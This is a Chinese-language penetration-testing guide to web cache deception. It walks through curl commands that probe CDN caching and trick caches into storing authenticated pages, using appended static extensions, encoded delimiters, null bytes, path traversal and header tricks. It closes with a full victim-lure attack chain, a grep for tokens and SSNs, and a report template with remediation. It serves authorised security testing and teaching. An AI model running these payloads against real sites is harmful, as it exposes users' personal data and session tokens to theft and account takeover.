performing-web-cache-deception-attack

实施 Web 缓存欺骗攻击

何时使用

• 测试位于 CDN 或反向代理（Cloudflare、Akamai、Varnish、Nginx）之后的应用程序时
• 评估需认证页面的缓存行为期间
• 评估缓存层与源站层之间的路径规范化差异时
• 在缓存策略激进的应用程序上进行漏洞赏金狩猎期间
• 测试缓存层配置错误导致的敏感数据暴露时

前置条件

• 了解 HTTP 缓存机制（Cache-Control、Vary、Age 头部）
• 掌握 CDN 路径规范化与缓存键构造的知识
• 使用 Burp Suite 拦截和构造请求
• 两个浏览器会话（已认证的受害者与未认证的攻击者）
• 了解不同技术之间 URL 路径解析的差异
• 熟悉常见 CDN 平台（Cloudflare、Akamai、Fastly、AWS CloudFront）

法律声明： 本技能仅用于授权安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能属于违法行为，可能违反计算机欺诈相关法律。

工作流

步骤 1 — 识别缓存层及其行为

# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers

# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0

# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
  echo -n "$ext: "
  curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
done

步骤 2 — 测试基于路径的缓存欺骗

# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:

# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"

# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various extensions
for ext in css js png jpg svg ico woff2; do
  curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
  sleep 2
  echo -n "$ext: "
  curl -s "http://target.com/account/profile/x.$ext" | head -c 200
  echo
done

步骤 3 — 利用基于分隔符的差异

# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"

# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"

# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"

# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"

# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"

步骤 4 — 测试规范化差异

# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)

curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin

# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"

# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"

# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"

步骤 5 — 利用缓存键操纵

# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching

curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"

# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css"  # Check if cached

# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
  "http://target.com/static/cached.css"

步骤 6 — 验证并记录攻击

# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker

# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT

# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"

关键概念

概念	描述
缓存欺骗	诱使 CDN 将需认证的动态内容作为静态资源缓存
路径规范化	CDN 与源站如何以不同方式解析路径段（../、;、编码字符）
缓存键	CDN 用于存储/检索缓存响应的标识符（通常为 URL 路径）
静态扩展名技巧	在动态 URL 后附加 .css/.js/.png 以触发缓存行为
分隔符差异	字符（;、?、#）被缓存与源站服务器以不同方式解释
缓存投毒 vs 缓存欺骗	投毒会为所有用户修改缓存；欺骗仅缓存特定受害者的数据
Vary 头部	控制哪些请求属性影响缓存键的 HTTP 头部

工具与系统

工具	用途
Burp Suite	用于构造缓存欺骗请求的 HTTP 代理
curl	命令行测试缓存行为与响应头部
Web Cache Vulnerability Scanner	用于检测缓存欺骗/投毒的自动化工具
Param Miner	用于发现未纳入缓存键的参数的 Burp 扩展
Cloudflare Diagnostics	分析 CF-Cache-Status 和 cf-ray 头部
Varnish CLI	直接检查基于 Varnish 的缓存设置

常见场景

1. 个人资料数据窃取 — 通过在个人资料 URL 后附加 .css 扩展名，缓存包含 PII（电子邮件、地址、电话）的已认证用户个人资料页面
2. API 令牌暴露 — 通过 CDN 上的路径操纵，缓存显示令牌和密钥的 API 仪表板页面
3. 账户接管 — 缓存包含会话令牌或 CSRF 令牌的页面，然后利用窃取的令牌进行账户接管
4. 财务数据暴露 — 缓存显示账户余额和交易历史的银行或支付页面
5. 管理面板缓存 — 通过 CDN 上基于分隔符的路径混淆，缓存可访问的管理页面

输出格式

## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending

### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |

### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |

### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin